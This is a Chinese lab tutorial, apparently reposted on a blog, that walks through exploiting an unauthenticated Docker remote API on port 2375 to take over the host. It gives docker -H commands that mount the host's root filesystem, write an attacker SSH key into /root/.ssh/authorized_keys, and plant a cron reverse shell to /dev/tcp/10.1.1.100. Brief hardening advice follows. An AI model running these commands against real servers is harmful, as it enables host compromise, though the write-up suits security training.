Docker未授权访问漏洞(www.hetianlab.com)

这篇具有很好参考价值的文章主要介绍了Docker未授权访问漏洞(www.hetianlab.com)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

什么是Docker

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。

Docker未授权访问漏洞

产生原因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器。

漏洞影响

攻击者利用 docker-client 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

本实验通过两种方法来介绍如何通过docker未授权获取宿主机的权限:
1.利用挂载目录的方式写ssh公钥getshell
2.利用写定时任务反弹shell。

实验环境

目标机器: CentOS7+Docker IP:10.1.1.200

攻击机器:Kali+Docker IP:10.1.1.100

信息收集

进行信息收集,寻找可能利用的点

  1. 通过nmap对目标进行信息收集,发现如下端口开放:
    Docker未授权访问漏洞(www.hetianlab.com)

22端口:ssh默认端口

2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)

  1. 已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞。
    Docker未授权访问漏洞(www.hetianlab.com)

  2. 如若页面空白显示。
    (1)可以通过info获取docker信息。

10.1.1.200:2375/info

Docker未授权访问漏洞(www.hetianlab.com)

(2)可以通过images/json获取列表。

10.1.1.200:2375/images/json

Docker未授权访问漏洞(www.hetianlab.com)

Docker未授权访问漏洞利用

使用Docker命令进行连接。

1.通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器,使用images命令查询目标系统的所有镜像。

docker -H tcp://10.1.1.200 ps -a    #列出所有容器

Docker未授权访问漏洞(www.hetianlab.com)

docker -H tcp://10.1.1.200 images    #列出所有镜像

Docker未授权访问漏洞(www.hetianlab.com)

进入容器

方法一:

(1)首先docker client连接目标,ps -a 查看哪些容器已经停止:
Docker未授权访问漏洞(www.hetianlab.com)

(2)通过start命令启动一个已经停止的容器:
Docker未授权访问漏洞(www.hetianlab.com)

(3)attach命令连接一个已经启动的容器:
Docker未授权访问漏洞(www.hetianlab.com)

这样就获得一个docker容器的shell。

方法二:

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)

Docker未授权访问漏洞(www.hetianlab.com)注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)。

Docker未授权写入ssh公钥获得shell

原理:启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

  1. 首先kali生成id_rsa公钥:
ssh-keygen -t rsa

Docker未授权访问漏洞(www.hetianlab.com)

  1. 查看下生成的公钥:
    生成的公钥在/root/.ssh/ 目录下。
cat /root/.ssh/id_rsa.pub

Docker未授权访问漏洞(www.hetianlab.com)

  1. 将生成公钥写入到目标/root/.ssh/authorized_keys文件中:
docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba

Docker未授权访问漏洞(www.hetianlab.com)Docker未授权访问漏洞(www.hetianlab.com)>这个代表的意思为覆盖,>>代表为追加

此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

  1. 写入后即可通过ssh进行连接,获取宿主机的shell:

Docker未授权写定时任务获得shell

原理:启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)中,攻击机nc -lvvp port会得到一个反弹的shell。

  1. kali开启监听。
    Docker未授权访问漏洞(www.hetianlab.com)

  2. 写入反弹shell的脚本。

echo "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root

Docker未授权访问漏洞(www.hetianlab.com)

*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1212 0>&1文章来源地址https://www.toymoban.com/news/detail-440285.html

  1. 获得目标shell
    Docker未授权访问漏洞(www.hetianlab.com)

修复建议

  1. 设置ACL,只允许信任ip连接对应端口;
  2. 开启TLS,使用生成的证书进行认证:
https://docs.docker.com/engine/security/protect-access/

到了这里,关于Docker未授权访问漏洞(www.hetianlab.com)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • springboot未授权漏洞(漏洞复现Springboot未授权访问及修复)

    Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进

    2024年02月05日
    浏览(52)
  • 漏洞名称:RMI 未授权访问漏洞

    漏洞描述:RMI默认使用序列化来完成所有的交互,如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。 漏洞危害:攻击者可在没有认证的情况下直接操作对应的 API 接口,可直接被非法增删改次数据。且因为攻击是在未认证下

    2024年02月06日
    浏览(40)
  • 漏洞——Elasticsearch未授权访问漏洞(原理扫描)

    下载地址: https://github.com/huhublog/elasticsearch7-http-basic 注意:如果下载的是zip,则需要在本地使用idea进行打包编译为jar,然后上传到服务器的elasticsearch安装目录下的 plugins / http-basic 目录下 里面需要配置文件plugin-descriptor.properties 配置 elasticsearch.yml 然后重启es进行 测试: 或

    2024年02月12日
    浏览(46)
  • redis 未授权访问漏洞

    目录 redis 未授权访问漏洞 漏洞描述 漏洞原因: 漏洞危害 漏洞复现: 漏洞复现 写webshell: 写计划任务:centos默认在/var/spool/cron 写ssh公钥实现ssh登录: 漏洞描述: 漏洞原因: 漏洞危害: 1、禁止外部访问redis服务端口 2、禁止使用root权限启动redis服务 3、配置安全组,限制可

    2024年02月13日
    浏览(40)
  • Elasticsearch未授权访问漏洞

    对一个IP进行C段扫描时,发现了一台服务器存在Elasticsearch未授权访问漏洞 ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜

    2024年02月12日
    浏览(49)
  • Elasticsearch 未授权访问漏洞

    漏洞描述 ElasticSearch 是一款 Java 编写的企业级搜索服务,启动此服务默认开放 HTTP-9200 端口,可被非法操作数据。 访问 IP:9200 显示 You konw,for Search 表示存在此漏洞 显示登录界面或访问不到的情况 证明不存在此漏洞

    2024年02月11日
    浏览(35)
  • Zookeeper未授权访问漏洞

    Zookeeper支持某些特定的四字查询命令,可以未授权访问,从而泄露zookeeper服务的相关信息,这些信息可能作为进一步入侵其他系统和服务的跳板,利用这些信息实现权限提升并逐渐扩大攻击范围。 常见的四字命令有 envi、conf、cons、crst、dump、ruok、stat、srvr、mntr 1.禁止2181端口

    2024年02月20日
    浏览(40)
  • Nacos未授权访问漏洞

    Nacos 的官网地址为: https://nacos.io 它是阿里开源的 SpringCloud Alibaba 项目下的一项技术,可以实现服务注册中心、分布式配置中心。 一般来说,nacos被建议部署在内网中,如果在外网出现,会有很大的风险。 访问nacos页面,发现是登录页面,可以先尝试使用弱口令,nacos/nacos 尝

    2024年02月09日
    浏览(45)
  • VMware中的虚拟机Debian10的服务器配置,使主机(win10)能够通过本地域名(如www.xxx.com)访问该服务器

    (可选下载链接: Index of /cdimage/archive (debian.org) ) 这里点击浏览,选择下载好的镜像文件,然后点击下一步 这里自己给虚拟机命名,然后选择好虚拟机存放的路径,接着点击下一步 这里根据需求设置虚拟机最大的占用空间,以及选择存储文件的个数,然后点击下一步 确认

    2024年02月13日
    浏览(44)
  • Redis未授权访问漏洞引出的漏洞利用方式

    redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。 redis版本为 4.x/5.0.5 或以前的版本; redis绑定在0.0.0.0:6379,且没有进行添加防火墙规

    2024年02月14日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包